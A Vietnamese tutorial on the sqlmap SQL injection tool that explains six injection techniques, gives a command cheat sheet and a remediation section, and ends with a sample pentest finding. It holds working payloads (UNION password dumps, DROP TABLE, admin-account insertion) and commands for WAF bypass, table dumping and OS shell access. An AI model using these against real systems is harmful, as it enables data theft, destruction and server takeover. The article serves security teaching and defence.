0

SQLMap: The Ultimate SQL Injection Automation Tool

Tài liệu này phân tích sâu về cơ chế hoạt động, các kỹ thuật tấn công cốt lõi (Injection Techniques) của sqlmap, kèm theo sơ đồ tư duy (Mermaid) và hướng dẫn thực chiến.


🛠️ SQLMap là gì?

SQLMap là công cụ kiểm thử xâm nhập mã nguồn mở, tự động hóa quá trình phát hiện và khai thác lỗ hổng SQL Injection (SQLi). Nó hoạt động như một "Database Administrator" bất đắc dĩ, có thể dump toàn bộ dữ liệu, chiếm quyền shell, hoặc thao túng file hệ thống.

Cơ chế hoạt động (The Engine)

  1. Identification: Tìm điểm vào (input parameters, headers, cookies).
  2. Heuristics: Gửi các payload thử nghiệm để xem phản ứng của DB (lỗi, delay, thay đổi nội dung).
  3. Fingerprinting: Xác định loại DB (MySQL, PostgreSQL, Oracle, MSSQL...).
  4. Exploitation: Dùng kỹ thuật phù hợp nhất để trích xuất dữ liệu.

2️⃣ 6 Kỹ Thuật Tấn Công Cốt Lõi (The 6 Techniques)

SQLMap sử dụng cờ --technique=BEUSTQ để chỉ định phương pháp. Dưới đây là giải thích chi tiết từng loại.

2.1 Boolean-based Blind (B) 🕵️‍♂️

  • Cơ chế: Hacker hỏi Database câu hỏi "Đúng/Sai". Server không trả về lỗi, cũng không trả về dữ liệu, chỉ trả về trang web Bình thường (True) hoặc Thiếu nội dung (False).
  • Ví dụ: id=1 AND (SELECT substring(pass,1,1) FROM users) = 'a'
    • Nếu chữ cái đầu là 'a', trang web load bình thường.
    • Nếu không phải, trang web mất hình ảnh/footer.
sequenceDiagram
    participant Attacker
    participant App
    participant DB
    
    Note over Attacker: Goal: Guess first char of password
    
    Attacker->>App: "GET /item?id=1 AND (SUBSTR(pass#44;1#44;1)='a') -- (Is char 'a'?)"
    App->>DB: SQL Query... WHERE id=1 AND ...
    DB-->>App: Returns Data (TRUE)
    App-->>Attacker: HTTP 200 OK (Content Normal)
    Note right of Attacker: ✅ It's 'a'!
    
    Attacker->>App: "GET /item?id=1 AND (SUBSTR(pass#44;1#44;1)='b') -- (Is char 'b'?)"
    App->>DB: Query...
    DB-->>App: Returns No Data (FALSE)
    App-->>Attacker: HTTP 200 OK (Content Missing/Different)
    Note right of Attacker: ❌ It's not 'b'

2.2 Error-based (E) 💥

  • Cơ chế: Ép Database "nôn" ra lỗi chứa dữ liệu nhạy cảm. Đây là cách nhanh nhất nếu Server chưa tắt hiển thị lỗi.
  • Ví dụ: Dùng hàm updatexml() (MySQL) hoặc CAST() (MSSQL) để gây lỗi convert dữ liệu.
sequenceDiagram
    participant Attacker
    participant App
    participant DB
    
    Note over Attacker: Goal: Force DB to print version
    Attacker->>App: "GET /?id=1' AND extractvalue(1#44; concat(0x7e#44; @@version)) --" 
    App->>DB: SQL Query (Malicious)
    DB-->>App: "❌ SQL Syntax Error: 'XPATH syntax error: ~5.7.33-log'"
    App-->>Attacker: "HTTP 500 Error containing '~5.7.33-log'"
    Note right of Attacker: 🎯 Extracted: 5.7.33

2.3 UNION Query-based (U) 🤝

  • Cơ chế: Dùng toán tử UNION để gộp kết quả của câu lệnh SELECT độc hại vào kết quả chính thống. Dữ liệu sẽ hiện ngay trên giao diện web.
  • Ví dụ: id=1 UNION SELECT null, username, password FROM users --
sequenceDiagram
    participant Attacker
    participant App
    participant DB
    
    Note over Attacker: Goal: Append user/pass to product list
    Attacker->>App: "GET /products?id=-1 UNION SELECT user#44; pass FROM users"
    App->>DB: "SELECT name#44; price FROM products WHERE id=-1 UNION SELECT user#44; pass FROM users"
    DB-->>App: "Returns: [('admin'#44; '123456')]"
    App-->>Attacker: "Display: Product Name: admin#44; Price: 123456"
    Note right of Attacker: 🎯 Dumped Data directly

2.4 Stacked Queries (S) 📚

  • Cơ chế: Thực thi nhiều câu lệnh SQL ngăn cách bởi dấu chấm phẩy ;. Kỹ thuật nguy hiểm nhất vì cho phép ghi dữ liệu, xóa bảng, hoặc chạy lệnh OS (nếu quyền cao).
  • Ví dụ: id=1; DROP TABLE users; --
sequenceDiagram
    participant Attacker
    participant App
    participant DB
    
    Note over Attacker: Goal: Delete database or Insert Admin
    Attacker->>App: "GET /?id=1#59; INSERT INTO admins VALUES ('hacked'#44; '123') --"
    App->>DB: Execute Query 1: SELECT * FROM items WHERE id=1
    Note right of DB: ✅ Done
    DB->>DB: Execute Query 2: INSERT INTO admins...
    Note right of DB: ✅ Done (New Admin Added)
    DB-->>App: Result of Query 1
    App-->>Attacker: Page Loads Normally
    Note right of Attacker: 💀 Silent Attack Successful

2.5 Time-based Blind (T) ⏱️

  • Cơ chế: Giống Boolean-based, nhưng Server luôn trả về trang giống hệt nhau dù đúng hay sai. Hacker phải dùng hàm SLEEP() hoặc WAITFOR DELAY để đo thời gian phản hồi.
  • Ví dụ: id=1 AND IF(version() like '5%', SLEEP(10), 0) -> Nếu Server treo 10s, suy ra version là 5.x.
sequenceDiagram
    participant Attacker
    participant App
    participant DB
    
    Note over Attacker: Goal: Confirm version 5 via Timing
    Attacker->>App: "GET /?id=1 AND IF(ver LIKE '5%'#44; SLEEP(10)#44; 0)"
    App->>DB: Execute Query...
    
    alt Condition TRUE
        DB->>DB: 💤 Sleeping 10s...
        DB-->>App: Return Result
        App-->>Attacker: Response received after 10.5s
        Note right of Attacker: ✅ Confirmed (Time > 10s)
    else Condition FALSE
        DB-->>App: Return Result Immediately
        App-->>Attacker: Response received after 0.5s
        Note right of Attacker: ❌ Condition False
    end

2.6 Out-of-Band (O) 📡

  • Cơ chế: Khi không thể nhận phản hồi qua HTTP (Blind hoàn toàn) và Time-base quá chậm/bị chặn. Hacker ép DB gửi DNS request tới tên miền do hacker kiểm soát.
  • Ví dụ: Oracle/MSSQL gửi request tới hacker.com.

3️⃣ Command Reference (Cheat Sheet)

Scan Cơ Bản

# Scan một URL cụ thể
sqlmap -u "http://target.com/item.php?id=1"

# Tự động scan form đăng nhập/search
sqlmap -u "http://target.com" --forms --crawl=2

Tăng cường sức mạnh (Aggressive)

# Level 5: Scan cả Cookie, Header (User-Agent, Referer...)
# Risk 3: Thử cả các payload nguy hiểm (Stacked queries, OR-based)
sqlmap -u "url" --level=5 --risk=3

Bypass WAF (Tamper Scripts)

# Sử dụng script để mã hóa payload tránh WAF phát hiện
sqlmap -u "url" --tamper="between,randomcase,space2comment"

Khai thác & Chiếm quyền

# Liệt kê danh sách database
sqlmap -u "url" --dbs

# Dump toàn bộ bảng users của database 'hackme'
sqlmap -u "url" -D hackme -T users --dump

# Thử lấy shell hệ điều hành (chỉ khi DB là root/sa)
sqlmap -u "url" --os-shell

4️⃣ Lịch sử tấn công & Case Studies

🏛️ Vụ Hack TalkTalk (2015) - "Classic SQLi"

  • Nguyên nhân: Một trang web con (legacy webpage) không được bảo trì, dính lỗi Blind SQL Injection trên tham số lọc sản phẩm.
  • Kỹ thuật: Hacker tuổi teen sử dụng SQLMap (hoặc tool tương tự) để quét và dump 157,000 thông tin khách hàng.
  • Hậu quả: TalkTalk (ISP lớn ở Anh) bị phạt kỷ lục 400,000 bảng Anh, thiệt hại uy tín hàng chục triệu bảng.

🏛️ Vụ Hack Yahoo! Voices (2012) - "UNION Based"

  • Nguyên nhân: Lỗi UNION-based SQLi cơ bản.
  • Diễn biến: Nhóm D33Ds Company đã dump 450,000 email và password (dạng plain text!).
  • Bài học: Một endpoint nhỏ trong hệ sinh thái khổng lồ có thể làm sập toàn bộ uy tín.

5️⃣ Remediation (Fix & Report)

Khi phát hiện lỗi bằng SQLMap, báo cáo cần đề xuất cách fix triệt để.

❌ Cách Fix SAI

  • Dùng "Blacklist" từ khóa: Xóa SELECT, UNION, DROP... (Dễ dàng bị bypass bằng SeLeCt, SEL/**/ECT...).
  • Chỉ escape ký tự đặc biệt ở Client Side (JavaScript).

✅ Cách Fix ĐÚNG (Best Practices)

  1. Prepared Statements (Tham số hóa câu lệnh):

    • Tách biệt hoàn toàn Code SQLDữ liệu. Database sẽ hiểu input chỉ là chuỗi ký tự, không phải lệnh thực thi.
    // C# / .NET
    SqlCommand command = new SqlCommand("SELECT * FROM Users WHERE Id = @id", connection);
    command.Parameters.AddWithValue("@id", inputId); // An toàn tuyệt đối
    
  2. Input Validation:

    • Nếu tham số là ID (số), hãy ép kiểu sang Integer.
    • Whitelist input cho phép (chỉ cho phép a-z, 0-9).
  3. Principle of Least Privilege:

    • Account kết nối DB của Web App KHÔNG được có quyền DROP TABLE, GRANT, hay đọc file hệ thống. Chỉ cấp quyền SELECT, INSERT, UPDATE trên bảng cần thiết.

6️⃣ Mẫu Report Findings

Vulnerability: SQL Injection (Blind based) Severity: Critical Affected Parameter: ?id= in http://example.com/view.php

Description: Tham số id không được lọc đầu vào, cho phép kẻ tấn công chèn các câu lệnh SQL tùy ý. Thông qua kỹ thuật Boolean-based Blind, chúng tôi đã trích xuất được phiên bản Database: MySQL 5.7.

Proof of Concept (SQLMap Command):

sqlmap -u "http://example.com/view.php?id=1" --technique=B --banner

Impact: Kẻ tấn công có thể truy cập, sửa đổi, xóa toàn bộ cơ sở dữ liệu khách hàng.

Recommendation: Sử dụng Prepared Statements cho tất cả các truy vấn Database liên quan đến tham số id.


Verified by Security Team


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí